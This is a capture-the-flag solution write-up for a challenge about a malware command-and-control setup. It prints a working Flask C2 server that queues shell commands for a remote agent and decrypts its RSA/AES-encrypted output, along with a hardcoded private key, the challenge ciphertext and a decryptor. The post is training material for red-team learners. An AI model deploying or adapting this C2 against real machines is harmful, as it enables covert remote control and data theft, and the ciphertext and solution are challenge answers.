C2 Lingo Solution | iHack CTF 2025

Thumbnail


This year I had the honor of working with HackFest Canada as a "Challenge Designer" to create Capture the Flag challenges for iHack and HackFest CTF events.

The iHack CTF event took placed on May 31st in Toronto (Ontario) and Montreal (Quebec). The HackFest CTF will take place in October 2025 and I have designed a challenge for that too. In this blog, I will go through solution for "C2 Lingo". 

C2 Lingo is a challenge that focuses on malware development, programming & cryptography.

 

Challenge description

If you were a participant at iHack, you would have been given the following description:

A malware developer has created a client and server program to communicate securely with their C2 and send output of commands run through client to server.

You are given the full source code for the `client.py` and your task is to reverse-engineer it and understand how output of commands are encrypted and sent to the server.

You are also given partial source code for `server_template.py`  and you have to figure out the missing parts.

At its core, `server_template.py` uses a RSA private key for decrypting messages and `client.py` uses a RSA public key for encrypting them.

The following ciphertext contains output of type `C:\Users\Administrator\Desktop\password.txt` and it was encrypted with `client.py`: 
```
eyJpZCI6IDEsICJrZXkiOiAiblFCWkRCb093Zjh0TnI1MUlwdjg0NFBFQytwQkdncWlxR3BZREJQZURTejF4am1mZnZIelZLOC9sMDc4am5aS2VpeUxVVWV3RDlXWWo3TFVONE5LUnhzQUswV2Mwa0EweXdSRFNaQ3o3NXdscUM5eEdiTmlBczlpeUhkNURyK3AwRWJGMnpzVDBPdWNHRjdMbzMwYnRvT3dZamtWVWU3c1A0aS82RlRPZmIraXE2eDhCYkF0bXVWS1RZaUhWNDN6ZHpCcUdvSnk0ZHExNkNyaEV4TFROMy81d1JWK29WSWhDZnp2R3BTZVoySnN2WjEwSkNEa2VZUXRWQ3Z0NS9jT3ZGWGRWWHBGNjBhaUNBVzkyYy8rdVZXQjNMTDIzM2NSNXRQZXNacUtNYUdtRC80c0dueG9Sd3FaYUZYby9JeGtXdHIvQm5sRmtLaFNxQ3JWT2xqdmhnPT0iLCAibm9uY2UiOiAiZ0crQ2dsc2ZZYjJjZVM4SmdOSVUwVyszd1Z4K3ZFUUVjR3JiOUdPZ3hyOXJmUFpwLy9ITzdnUURxYUtmZ1RnelVkOFVydGpOWE1SbE9SR1BkQVlaUXVUYXgxbnUyVTJkdTI4RXFiS09RNnd6S0dvUjJDdTVWR0tKNjhtYmJlVjZRTmpLdUI1K2NmRGFRTzI5UG1qN0pTZVB5YmRpRUVsM0hweDR1cmIyOGpwRWw4dVNtdzNTbGhzRUFMeDVTN0dsSzNJODd0ekdINU9qeExOSjBCcC90TGlwQVJUZ1IyejBySXB1emFwdFNKY3JIQms5ais4c3JJWkcyWXNwUEQwWWxsZEkzR0w3YVp5bkhzc21udDViaXBaWWYrcW83eFlFRTdGY0dsR2UzTGM3R20rM094d21WL0NzSURvaHNsYmJyVzlCclpFQ1RmcE5DMFgvSXE3Sk93PT0iLCAiZGF0YSI6ICJyOWV0UWIycDZBTXoxM1daM0FuQlBwN1liWG9nc1QyWDVvdFFQVkk5UlNoMDlQbnBDL0UvWkJ6NnRVRngifQ==
```

You have got the private key, can you reverse-engineer `client.py` to understand how it encrypts data so that you can decrypt it with `server_template.py`? 

This challenge had two accompanying files such as client.py and server_template.py, you can download them here:

 

How it works: client.py

This client.py script acts as a remote command execution agent that regularly polls a local server (http://127.0.0.1:5000/commands) for base64-encoded shell commands, decodes and executes them using cmd.exe, then encrypts the output with AES (using a newly generated key and nonce) and secures those AES parameters with an externally fetched RSA public key. It then packages the encrypted result into a base64-encoded JSON payload and sends it back to the server via a GET request. This cycle repeats every 10 seconds, effectively enabling secure, encrypted communication between the client and command server while executing potentially arbitrary shell commands.

 

How it works: server_template.py

The server_template.py script sets up a Flask-based command-and-control server that allows a user to submit shell commands through a web interface and queues them for execution by a client. It exposes an endpoint (/commands) that the client polls to retrieve pending commands, and another (/receive) where the client sends back the encrypted output. The server is intended to use a hardcoded RSA private key to decrypt the AES key and nonce sent by the client, then use those to decrypt the actual command output. However, the script is incomplete: it’s missing the logic to load the RSA private key, extract and base64-decode the encrypted fields from the received payload, perform RSA and AES decryption, and correctly update the corresponding command's output in memory. Without these missing parts, the server cannot properly process or display returned command results.

The idea was to teach players how the missing parts would glue together with the current code in server_template.py to create a working solution for decrypting ciphertext generated by client.py

 

Solution

The following is code for the complete version of server_template.py, this is the server.py:

from flask import Flask, request, render_template_string
import base64
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# Hardcoded RSA private key (replace with your actual key)
PRIVATE_KEY_PEM = """-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsZB6phjk1peQM
miuC1Rw6pEJN5ut37s7j5vsh04pHJLhhCI8IdaJdzM3k6ZyGzi/Zbc8VgKh+sXDI
6rKYFvAipjJXwHUXPcJccnAwQtBkINPshuBAHc2dJoJqgrxvKLr9kf3zNpax/j6Z
CVoKi7n1ugJPdMzwMjt2CNWoV5J6frT5NgtwC85lZb8XmDZBOaz76ZcMd/77yjMv
rpxc2k/sfm1+/K1420BaOgj+HFu9WyFD1zYMM97S042v3gFUI/GCDAEjWBr38coX
on3nwLQvmrcSrUCMlN0D5nurO5nIeRb8IRCkqemLQx+HiCSDqfG6YSwDkm+Jr7Vl
D5VealppAgMBAAECggEAAtDITOvBqbIFy1xlv0dohH8sC45s1FrAw4lhWuQz9xU/
Eyui/WgBcL+Acd+MZEnAD5Cq8A6Xwej3PvrRU6lVPvWgrxz4NJrYPq8KTMl8kpQU
LgHmbfmmou1O9jsgJX8gbbWJlKQ0uh+9ST3VPASb8wrYkJBna/lgDf2XMr6KaIh8
GciF9toSnJxnJxmSghZPNKjld/L1Ez4E29KWkdjdd7JraehI9hJtFwcACh8S+wdr
PED3g+gQrM3avqXpK5B1tBN4N9gUQERRRfAyBnHmlEgug75bWOMRubjgle9Tuy1U
LnOvV8xTxbFwfbZ8oMkaF8/TUfXV0cOYJiioFeNYUQKBgQDoXIWGqTS6Hbgg2Z78
z3p7Y7kl2DPcNI9DZjtCTBfvWqWvRJgiqDjyxCQvIWOYUu/I5I8n9zLVvSviYXhL
PkmJ2ka/Fvwsrq1fAVxCAIOR0RfCQwLGIgysj60Kl418nOkKlQHKFJlfNgM/Y0uU
eLrv/XA81E6GLbeVr1a+4UESGQKBgQC97cSUWj+xuoFmCWwW0QJrc2SFNjJ9yz5h
ZmNDesGk7VsIl1JtQIgx6eRyXOOM1KoBASZygNmNnX7hFrGSN04/d2rILTvFEQQx
JaX/9T912ugNu4RPIMxinBTGeZ3e3aOiYk+bWh8NkmVpLbgKpCA3AOoWIXIu/kus
m/fcMDm00QKBgQCuR27zIIhmrBHFudQQpIGmeJaO9wl2uYlWsR/zSuWM5j1tJxLA
s9H66/iDzRRJVLN6x0tEW5mqTLfUlOzH6tD3b1suykucK+vnXTrYWlBUlzKtxtsW
xsUgzKaqUh+R/pKgGED+U9LxYa6v5YbztlXn2PxM86Rt6W5P+/IhOww2SQKBgDNh
G/nKBEsPGixBRkVR22a3+6xxwez3y3NL4HSDw9jbAPJtBTZa670c+djaOhCCA09s
QTtekfvWbFl16ymT3o4avv9SBUZFWS32clawwK8gPgBhBuTlCYVvlcsvYT7GFJs8
Hy72jUn9nYN7g7sVNUXL8Id2Gs6NqmkSdFXTkfjRAoGAQZvbpFJ7BYhiYUm11jDx
YduOTKE7nEnQ/iSMuu4ZgmP+HVHaDsooJ1ApWvm2hDPbukAWg6ocysiyMRUuYMUv
fSJkusns/19Hy+6IQHSYUDroLXEFYIjY0X2a/LNa29jJJy2lWm6xxNZSpQMtpQeJ
DIiB2IZ8T2rNTIQGV0GvXGg=
-----END PRIVATE KEY-----"""

# Load the RSA private key
private_key = serialization.load_pem_private_key(
    PRIVATE_KEY_PEM.encode(),
    password=None,
    backend=default_backend()
)

# Initialize Flask app
app = Flask(__name__)

# List to store commands and their outputs, and an ID counter
commands = []
next_id = 1

# Route to serve commands to the shell
@app.route('/commands')
def get_command():
    global commands
    # Find the first pending command (output is None)
    for cmd in commands:
        if cmd['output'] is None:
            base64_command = base64.b64encode(cmd['command'].encode()).decode()
            return json.dumps({"id": cmd['id'], "command": base64_command})
    # No pending commands
    return json.dumps({"id": None, "command": None})

# Route to receive and decrypt data from the shell
@app.route('/receive', methods=['GET'])
def receive_data():
    global commands
    base64_data = request.args.get('data')
    if not base64_data:
        return "No data provided", 400
    try:
        # Decode base64 data to get JSON string
        json_bytes = base64.b64decode(base64_data)
        json_str = json_bytes.decode('utf-8')
        data_dict = json.loads(json_str)
        
        # Extract ID and encrypted fields
        id = data_dict.get("id")
        if id is None:
            return "Missing ID", 400
        encrypted_key = base64.b64decode(data_dict["key"])
        encrypted_nonce = base64.b64decode(data_dict["nonce"])
        encrypted_data = base64.b64decode(data_dict["data"])
        
        # Decrypt AES key and nonce using RSA private key
        key = private_key.decrypt(
            encrypted_key,
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA256()),
                algorithm=hashes.SHA256(),
                label=None
            )
        )
        nonce = private_key.decrypt(
            encrypted_nonce,
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA256()),
                algorithm=hashes.SHA256(),
                label=None
            )
        )
        
        # Decrypt command output with AES-256-CTR
        cipher = Cipher(algorithms.AES(key), modes.CTR(nonce), backend=default_backend())
        decryptor = cipher.decryptor()
        plaintext_bytes = decryptor.update(encrypted_data) + decryptor.finalize()
        plaintext = plaintext_bytes.decode('utf-8')
        
        # Update the command's output
        for cmd in commands:
            if cmd['id'] == id:
                cmd['output'] = plaintext
                break
        return "OK", 200
    except Exception as e:
        print(f"Decryption error: {e}")
        return "Decryption failed", 500

# Route for the web interface
@app.route('/', methods=['GET', 'POST'])
def index():
    global commands, next_id
    # Handle new command submission
    if request.method == 'POST':
        command = request.form.get('command')
        if command:
            commands.append({"id": next_id, "command": command, "output": None})
            next_id += 1
    
    # Minimalist HTML template embedded in the script
    template = """
    <html>
    <body>
    <h1>Reverse Shell Control Panel</h1>
    <form method="POST">
        <input type="text" name="command" placeholder="Enter command">
        <input type="submit" value="Send Command">
    </form>
    <h2>Command History</h2>
    <ul>
    {% for cmd in commands %}
        <li>ID: {{ cmd.id }} - Command: {{ cmd.command }} - Output: {{ cmd.output if cmd.output else 'Waiting for output...' }}</li>
    {% endfor %}
    </ul>
    </body>
    </html>
    """
    return render_template_string(template, commands=commands)

# Run the Flask app
if __name__ == "__main__":
    app.run(host='127.0.0.1', port=5000)

 

A more minimalist solution is the following:

import base64
import json
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# Hardcoded base64-encoded ciphertext (replace with your actual ciphertext)
CIPHERTEXT_BASE64 = "YOUR_BASE64_ENCODED_JSON_CIPHERTEXT_HERE"

# RSA private key (replace with your actual key)
PRIVATE_KEY_PEM = """-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsZB6phjk1peQM
... (your private key here, truncated for brevity) ...
-----END PRIVATE KEY-----"""

def decrypt_ciphertext(ciphertext_base64):
    try:
        # Decode base64 to get JSON string
        json_bytes = base64.b64decode(ciphertext_base64)
        json_str = json_bytes.decode('utf-8')
        data_dict = json.loads(json_str)
        
        # Extract and decode base64 fields
        command_id = data_dict["id"]
        encrypted_key = base64.b64decode(data_dict["key"])
        encrypted_nonce = base64.b64decode(data_dict["nonce"])
        encrypted_data = base64.b64decode(data_dict["data"])
        
        # Load private key
        private_key = serialization.load_pem_private_key(
            PRIVATE_KEY_PEM.encode(),
            password=None,
            backend=default_backend()
        )
        
        # Decrypt AES key and nonce using RSA
        key = private_key.decrypt(
            encrypted_key,
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA256()),
                algorithm=hashes.SHA256(),
                label=None
            )
        )
        nonce = private_key.decrypt(
            encrypted_nonce,
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA256()),
                algorithm=hashes.SHA256(),
                label=None
            )
        )
        
        # Decrypt data with AES-256-CTR
        cipher = Cipher(algorithms.AES(key), modes.CTR(nonce), backend=default_backend())
        decryptor = cipher.decryptor()
        plaintext_bytes = decryptor.update(encrypted_data) + decryptor.finalize()
        plaintext = plaintext_bytes.decode('utf-8')
        
        return {"id": command_id, "plaintext": plaintext}
    except Exception as e:
        return {"error": f"Decryption failed: {e}"}

if __name__ == "__main__":
    result = decrypt_ciphertext(CIPHERTEXT_BASE64)
    print(result)

 

Conclusion

The beauty of this challenge is that it's based on real world techniques used by hackers to anonymize their communications between their malware and their command & control servers (C2). As with all of my challenges, the focus is usually going to be on offensive cyber operations, malware development is also a part of red teaming and learning these types of skills is necessary to become a successful red teamer. 

See you at HackFest. 

 


Posted on: June 03, 2025 08:03 AM